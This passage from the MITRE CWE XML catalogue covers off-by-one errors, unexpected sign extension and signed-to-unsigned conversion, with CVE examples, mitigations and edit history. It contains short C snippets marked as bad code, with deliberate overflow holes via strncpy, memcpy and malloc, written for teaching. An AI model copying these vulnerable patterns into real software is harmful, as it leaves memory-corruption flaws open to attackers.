            <Observed_Example>
               <Reference>CVE-2002-0083</Reference>
               <Description>Off-by-one error allows local users or remote malicious servers to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0083</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0653</Reference>
               <Description>Off-by-one buffer overflow in function usd by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0653</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0844</Reference>
               <Description>Off-by-one buffer overflow in version control system allows local users to execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0844</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1568</Reference>
               <Description>Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1568</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0346</Reference>
               <Description>Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0346</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0005</Reference>
               <Description>Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0005</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0356</Reference>
               <Description>Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0356</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1496</Reference>
               <Description>Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1496</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0342</Reference>
               <Description>This is an interesting example that might not be an off-by-one.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0342</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0609</Reference>
               <Description>An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0609</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1745</Reference>
               <Description>Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1745</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1816</Reference>
               <Description>Off-by-one buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1816</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1721</Reference>
               <Description>Off-by-one error causes an snprintf call to overwrite a critical internal variable with a null value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1721</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0466</Reference>
               <Description>Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0466</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0625</Reference>
               <Description>Off-by-one error allows read of sensitive memory via a malformed request.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0625</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4574</Reference>
               <Description>Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4574</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Off-by-one Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>STR31-C</Entry_ID>
               <Entry_Name>Guarantee that storage for strings has sufficient space for character data and the null terminator</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-155"/>
            <Reference External_Reference_ID="REF-156"/>
            <Reference External_Reference_ID="REF-157"/>
            <Reference External_Reference_ID="REF-140" Section="Chapter 7, &#34;Buffer Overflow&#34;"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 5: Buffer Overruns.&#34; Page 89"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 5, &#34;Off-by-One Errors&#34;, Page 180"/>
         </References>
         <Notes>
            <Note Type="Relationship">This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Common_Consequences, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="194" Name="Unexpected Sign Extension" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses.</Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Read Memory</Impact>
               <Impact>Modify Memory</Impact>
               <Impact>Other</Impact>
               <Note>When an unexpected sign extension occurs in code that operates directly on memory buffers, such as a size value or a memory index, then it could cause the program to write or read outside the boundaries of the intended buffer. If the numeric value is associated with an application-level resource, such as a quantity or price for a product in an e-commerce site, then the sign extension could produce a value that is much higher (or lower) than the application's allowable range.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid using signed variables if you don't need to represent negative values. When negative values are needed, perform validation after you save those values to larger data types, or before passing them to functions that are expecting unsigned values.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-23">
               <Intro_Text>The following code reads a maximum size and performs a sanity check on that size. It then performs a strncpy, assuming it will not exceed the boundaries of the array. While the use of "short s" is forced in this particular example, short int's are frequently used within real-world code, such as code that processes structured data.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int GetUntrustedInt () {<xhtml:div style="margin-left:1em;">return(0x0000FFFF);</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>void main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char path[256];<xhtml:br/>char *input;<xhtml:br/>int i;<xhtml:br/>short s;<xhtml:br/>unsigned int sz;<xhtml:br/>
                           <xhtml:br/>i = GetUntrustedInt();<xhtml:br/>s = i;<xhtml:br/>/* s is -1 so it passes the safety check - CWE-697 */<xhtml:br/>if (s &gt; 256) {<xhtml:div style="margin-left:1em;">DiePainfully("go away!\n");</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>/* s is sign-extended and saved in sz */<xhtml:br/>sz = s;<xhtml:br/>
                           <xhtml:br/>/* output: i=65535, s=-1, sz=4294967295 - your mileage may vary */<xhtml:br/>printf("i=%d, s=%d, sz=%u\n", i, s, sz);<xhtml:br/>
                           <xhtml:br/>input = GetUserInput("Enter pathname:");<xhtml:br/>
                           <xhtml:br/>/* strncpy interprets s as unsigned int, so it's treated as MAX_INT<xhtml:br/>(CWE-195), enabling buffer overflow (CWE-119) */<xhtml:br/>strncpy(path, input, s);<xhtml:br/>path[255] = '\0'; /* don't want CWE-170 */<xhtml:br/>printf("Path is: %s\n", path);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code first exhibits an example of CWE-839, allowing "s" to be a negative number. When the negative short "s" is converted to an unsigned integer, it becomes an extremely large positive integer. When this converted integer is used by strncpy() it will lead to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2018-10887</Reference>
               <Description>Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2018-10887</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-0234</Reference>
               <Description>Sign extension error produces -1 value that is treated as a command separator, enabling OS command injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-0234</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0161</Reference>
               <Description>Product uses "char" type for input character. When char is implemented as a signed type, ASCII value 0xFF (255), a sign extension produces a -1 value that is treated as a program-specific separator value, effectively disabling a length check and leading to a buffer overflow. This is also a multiple interpretation error.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0161</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4988</Reference>
               <Description>chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4988</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1834</Reference>
               <Description>chain: signedness error allows bypass of a length check; later sign extension makes exploitation easier.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1834</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2753</Reference>
               <Description>Sign extension when manipulating Pascal-style strings leads to integer overflow and improper memory copy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2753</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Sign extension error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in computation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>INT31-C</Entry_ID>
               <Entry_Name>Ensure that integer conversions do not result in lost or misinterpreted data</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-161"/>
            <Reference External_Reference_ID="REF-162"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Notes>
            <Note Type="Relationship">Sign extension errors can lead to buffer overflows and other memory-based problems. They are also likely to be factors in other weaknesses that are not based on memory operations, but rely on numeric calculation.</Note>
            <Note Type="Maintenance">This entry is closely associated with signed-to-unsigned conversion errors (CWE-195) and other numeric errors. These relationships need to be more closely examined within CWE.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-05</Modification_Date>
               <Modification_Comment>complete rewrite of the entire entry</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Sign Extension Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-11-24">Incorrect Sign Extension</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="195" Name="Signed to Unsigned Conversion Error" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.</Description>
         <Extended_Description>
            <xhtml:p>It is dangerous to rely on implicit casts between signed and unsigned numbers because the result can take on an unexpected value and violate assumptions made by the program.</xhtml:p>
            <xhtml:p>Often, functions will return negative values to indicate a failure. When the result of a function is to be used as a size parameter, using these negative return values can have unexpected results. For example, if negative size values are passed to the standard memory copy or allocation functions they will be implicitly cast to a large unsigned value. This may lead to an exploitable buffer overflow or underflow condition.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="681" View_ID="1340" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="119" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Note>Conversion between signed and unsigned values can lead to a variety of errors, but from a security standpoint is most commonly associated with integer overflow and buffer overflow vulnerabilities.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-73">
               <Intro_Text>In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned int readdata () {<xhtml:div style="margin-left:1em;">int amount = 0;<xhtml:br/>...<xhtml:br/>if (result == ERROR)<xhtml:br/>amount = -1;<xhtml:br/>...<xhtml:br/>return amount;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-74">
               <Intro_Text>In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned int readdata () {<xhtml:div style="margin-left:1em;">int amount = 0;<xhtml:br/>...<xhtml:br/>amount = accessmainframe();<xhtml:br/>...<xhtml:br/>return amount;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-21">
               <Intro_Text>The following code is intended to read an incoming packet from a socket and extract one or more headers.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>DataPacket *packet;<xhtml:br/>int numHeaders;<xhtml:br/>PacketHeader *headers;<xhtml:br/>
                     <xhtml:br/>sock=AcceptSocketConnection();<xhtml:br/>ReadPacket(packet, sock);<xhtml:br/>numHeaders =packet-&gt;headers;<xhtml:br/>
                     <xhtml:br/>if (numHeaders &gt; 100) {<xhtml:div style="margin-left:1em;">ExitError("too many headers!");</xhtml:div>}<xhtml:br/>headers = malloc(numHeaders * sizeof(PacketHeader);<xhtml:br/>ParsePacketHeaders(packet, headers);</xhtml:div>
               </Example_Code>
               <Body_Text>The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>This example processes user input comprised of a series of variable-length structures. The first 2 bytes of input dictate the size of the structure to be processed.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* processNext(char* strm) {<xhtml:div style="margin-left:1em;">char buf[512];<xhtml:br/>short len = *(short*) strm;<xhtml:br/>strm += sizeof(len);<xhtml:br/>if (len &lt;= 512) {<xhtml:div style="margin-left:1em;">memcpy(buf, strm, len);<xhtml:br/>process(buf);<xhtml:br/>return strm + len;</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">return -1;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer has set an upper bound on the structure size: if it is larger than 512, the input will not be processed. The problem is that len is a signed short, so the check against the maximum structure length is done with signed values, but len is converted to an unsigned integer for the call to memcpy() and the negative bit will be extended to result in a huge value for the unsigned integer. If len is negative, then it will appear that the structure has an appropriate size (the if branch will be taken), but the amount of memory copied by memcpy() will be quite large, and the attacker will be able to overflow the stack with data in strm.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-114">
               <Intro_Text>In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int returnChunkSize(void *) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* if chunk info is valid, return the size of usable memory,</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>* else, return -1 to indicate an error</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>*/</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-138">
               <Intro_Text>This example shows a typical attempt to parse a string with an error resulting from a difference in assumptions between the caller to a function and the function's action.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
		 int proc_msg(char *s, int msg_len)<xhtml:br/>
		 {<xhtml:br/>
                  <xhtml:div>
		    <xhtml:i>// Note space at the end of the string - assume all strings have preamble with space</xhtml:i><xhtml:br/>
		    int pre_len = sizeof("preamble: ");<xhtml:br/>
		    char buf[pre_len - msg_len];<xhtml:br/>
		    <xhtml:i>... Do processing here if we get this far</xhtml:i>
		  </xhtml:div>
		  }<xhtml:br/>
		  char *s = "preamble: message\n";<xhtml:br/>
		  char *sl = strchr(s, ':');        // Number of characters up to ':' (not including space)<xhtml:br/>
		  int jnklen = sl == NULL ? 0 : sl - s;    // If undefined pointer, use zero length<xhtml:br/>
		  int ret_val = proc_msg ("s",  jnklen);    // Violate assumption of preamble length, end up with negative value, blow out stack<xhtml:br/>
               </Example_Code>
               <Body_Text>The buffer length ends up being -1, resulting in a blown out stack. The space character after the colon is included in the function calculation, but not in the caller's calculation. This, unfortunately, is not usually so obvious but exists in an obtuse series of calculations.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
